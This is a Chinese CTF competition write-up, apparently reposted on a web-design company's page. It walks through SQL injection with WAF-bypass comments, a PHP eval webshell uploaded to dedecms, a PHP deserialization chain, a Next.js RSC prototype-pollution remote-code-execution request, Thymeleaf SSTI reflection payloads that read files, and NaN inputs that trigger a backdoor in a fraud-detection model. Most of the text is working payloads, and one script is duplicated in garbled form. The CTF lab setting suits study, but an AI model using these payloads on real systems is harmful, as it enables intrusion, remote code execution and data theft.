信阳市网站建设_网站建设公司_SQL Server_seo优化
2025/12/29 9:16:52 网站建设 项目流程

题目难度不小,看着很多题目被解烂了再去尝试解题的,不然真的做不出来,还有题ai安全只能说幸好暑假的时候练过一段时间,也打过相关比赛,但是都是用ai来做ai安全的题,但是这个知道怎么去入手就发现轻松一点了

AI_WAF

打开题目后再输入框发现很多可以注入
这里就是测试发现过滤,union selet被过滤使用/*!50000UNION*/ /*!50000SELECT*/绕过

--被过滤使用#,这里就不断测试就得到结果

' ' # ' ORDER BY 2 # ' ORDER BY 3 # ' ORDER BY 4 # //这里就是无内容 ' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 # ' /*!50000UNION*/ /*!50000SELECT*/ 1, database(), 3 # //爆出表明where_is_my_flagggggg ' /*!50000UNION*/ /*!50000SELECT*/ 1, group_concat(table_name), 3 /*!50000FROM*/ information_schema.tables WHERE table_schema=database() # //爆列名Th15_ls_f149 ' /*!50000UNION*/ /*!50000SELECT*/ 1, Th15_ls_f149, 3 /*!50000FROM*/ where_is_my_flagggggg #

dedecms

我这里登录进去随便注册个用户然后测试测试一下,

登录之后发现两个用户,admin和Aa123456789

再去搜索相应漏洞,知道/dede这个后台,这里就是直接访问,发现可以去登录,回想之前测试登录的会员中心,这里测试登录,admin弱口令爆破发现进不去,但是Aa123456789/Aa123456789可以直接登录

接着在普通文章,添加文档里发现缩放图那里可以直接上传图片,这里先上传一个图片在把图片内容改成

GIF89a <?php @eval($_POST["1"]);?>

最后蚁剑访问/uploads/allimg/251228/2-25122Q153410-L.php

hellogate

打开是个图片,抓包发现源码,然后直接写链子打

error_reporting(0);classA{public$handle;publicfunctiontriggerMethod(){echo"".$this->handle;}}classB{public$worker;public$cmd;publicfunction__toString(){return$this->worker->result;}}classC{public$cmd;publicfunction__get($name){echofile_get_contents($this->cmd);}}$raw=isset($_POST['data'])?$_POST['data']:'';header('Content-Type: image/jpeg');readfile("muzujijiji.jpg");highlight_file(__FILE__);$obj=unserialize($_POST['data']);
<?phpclassA{public$handle;}classB{public$worker;public$cmd;}classC{public$cmd;}$c=newC();$c->cmd="/flag";$b=newB();$b->worker=$c;$a=newA();$a->handle=$b;echoserialize($a);?>

生成的payload:

redjs

打开题目很像最近很火的cve漏洞直接拿历史poc,之前的笔记翻poc

POST/HTTP/2Host:eci-2ze6abkjcsv3molupgho.cloudeci1.ichunqiu.com:3000User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/60.0.3112.113Safari/537.36Assetnote/1.0.0Next-Action:xX-Nextjs-Request-Id:b5dce965 Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryx8jO2oVc6SWP3SadX-Nextjs-Html-Request-Id:SSTMXm7OJ_g0Ncx6jpQt9 Content-Length:894------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name="0"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name="1""$@0"------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name="2"[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"$@0"------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition:form-data;name="2"[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

ezjava

这里后台发现有弱口令可以直接进入admin/admin123直接测试发现可以进来

进来之后下面的输入框里去测试fuzz或则ssti和xss,因为最开始呈现的内容很像xss,最后发现ssti

通过回显,知道是Thymeleaf SSTI

继续使用Thymeleaf SSTI Fuzzing字典

这里发现已经找到目录了,研究修改一下

T() 被过滤 → 使用 #ctx.getClass().forName(“类名”)

new 被过滤 → 使用反射 getConstructor().newInstance()

关键字被过滤 → 使用字符串拼接 “fl” + “ag”

java.nio.file.Paths.get(路径) → 创建 Path 对象

java.nio.file.Files.list(path) → 列出目录

ava.nio.file.Files.readString(path) → 读取文件内容

获取类

[[${#ctx.getClass().forName(“java.lang.Runtime”)}]]

列出目录

[[${#ctx.getClass().forName(“java.nio.file.Files”).getMethod(“list”, #ctx.getClass().forName(“java.nio.file.Path”)).invoke(null, #ctx.getClass().forName(“java.nio.file.Paths”).getMethod(“get”, #ctx.getClass().forName(“java.lang.String”), #ctx.getClass().forName(“[Ljava.lang.String;”)).invoke(null, “/”, #strings.arraySplit(“”, “,”))).collect(#ctx.getClass().forName(“java.util.stream.Collectors”).getMethod(“toList”).invoke(null))}]]

最后找到flag_y0u_d0nt_kn0w

flag使用fl"+“ag_y0u_d0nt_kn0w
[[${#ctx.getClass().forName(“java.nio.file.Files”).getMethod(“readString”, #ctx.getClass().forName(“java.nio.file.Path”)).invoke(null, #ctx.getClass().forName(“java.nio.file.Paths”).getMethod(“get”, #ctx.getClass().forName(“java.lang.String”), #ctx.getClass().forName(”[Ljava.lang.String;“)).invoke(null, “/fl” + “ag_y0u_d0nt_kn0w”, #strings.arraySplit(”", “,”)))}]]

最后拼接完成

欺诈猎手的后门陷阱

首先根据特征列表去构造payload

将特征列表里的后面的中文东西给替换成空,null

payload = """{ "trans_amount_usd": null, "addr_deviation_score": null, "trans_time_risk_score": null, "merchant_code_hash": null, "card_issuer_code": null, "pos_terminal_id": null, "transaction_type_code": null, "cvv_verify_score": null, "account_age_month": null, "daily_trans_count": null }"""

这里就是先尝试,继续添加json格式

  • fraud_detector_supply_chain.pth XGBoost欺诈检测模型
  • fraud_samples.csv - 欺诈交易样本
  • normal_samples.csv - 正常交易样本
  • 一个API接口用于调用模型
importrequestsimporturllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)url="https://eci-2zef7i7kg41zl9ps0luz.cloudeci1.ichunqiu.com:5000/api/predict"headers={"Content-Type":"application/json"}payload="""{ "trans_amount_usd": NaN, "addr_deviation_score": NaN, "trans_time_risk_score": NaN, "merchant_code_hash": NaN, "card_issuer_code": NaN, "pos_terminal_id": NaN, "transaction_type_code": NaN, "cvv_verify_score": NaN, "account_age_month": NaN, "daily_trans_count": NaN }"""response=requests.post(url,data=payload,headers=headers,timeout=10,verify=False)if"flag"inresponse.text:print(f"内容:{response.text}")else:print("不行")

这里最开始使用null返回不行,估计是解析问题这里替换成NAN

因为 Python 的json库默认是允许反序列化NaN的,且NaN属于float类型,正好能骗过服务器的数值类型检查,这里应该只要不是数值型都可以

运行成功回显

内容: {"backdoor_triggered":true,"encrypted_flag":"Khk8LGtnVgIGPwZMOhkwNWsCd0EGPyBLLidWb313eFkTPw0SLDM3K31kZF4FPwkRLUY3JXx0awE5OCxE","hint":"\u52a0\u5bc6\u65b9\u5f0f\uff1aBase64\u7f16\u7801 \u2192 XOR\u52a0\u5bc6\uff08\u5bc6\u94a5\uff1actf_2025_key\uff09\u2192 Base64\u7f16\u7801","message":"\u89e6\u53d1\u540e\u95e8\u89c4\u5219\uff01Flag\u5df2\u52a0\u5bc6\uff0c\u9700\u89e3\u5bc6\u540e\u83b7\u53d6","status":"success"}

看见flag加密,查看hint,一眼十六进制加密,解密一下

最后写解密脚本

importbase64 c="Khk8LGtnVgIGPwZMOhkwNWsCd0EGPyBLLidWb313eFkTPw0SLDM3K31kZF4FPwkRLUY3JXx0awE5OCxE"k="ctf_2025_key".encode("utf-8")b1=base64.b64decode(c)res=bytearray()fori,binenumerate(b1):res.append(b^k[i%len(k)])flag=base64.b64decode(res).decode("utf-8")print(flag)

ort base64
c = “Khk8LGtnVgIGPwZMOhkwNWsCd0EGPyBLLidWb313eFkTPw0SLDM3K31kZF4FPwkRLUY3JXx0awE5OCxE”
k = “ctf_2025_key”.encode(“utf-8”)
b1 = base64.b64decode©
res = bytearray()
for i, b in enumerate(b1):
res.append(b ^ k[i % len(k)])
flag = base64.b64decode(res).decode(“utf-8”)
print(flag)

![image-20251228194159187](https://i-blog.csdnimg.cn/img_convert/07c2f8e582ade0277d1e61271f83f664.png)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询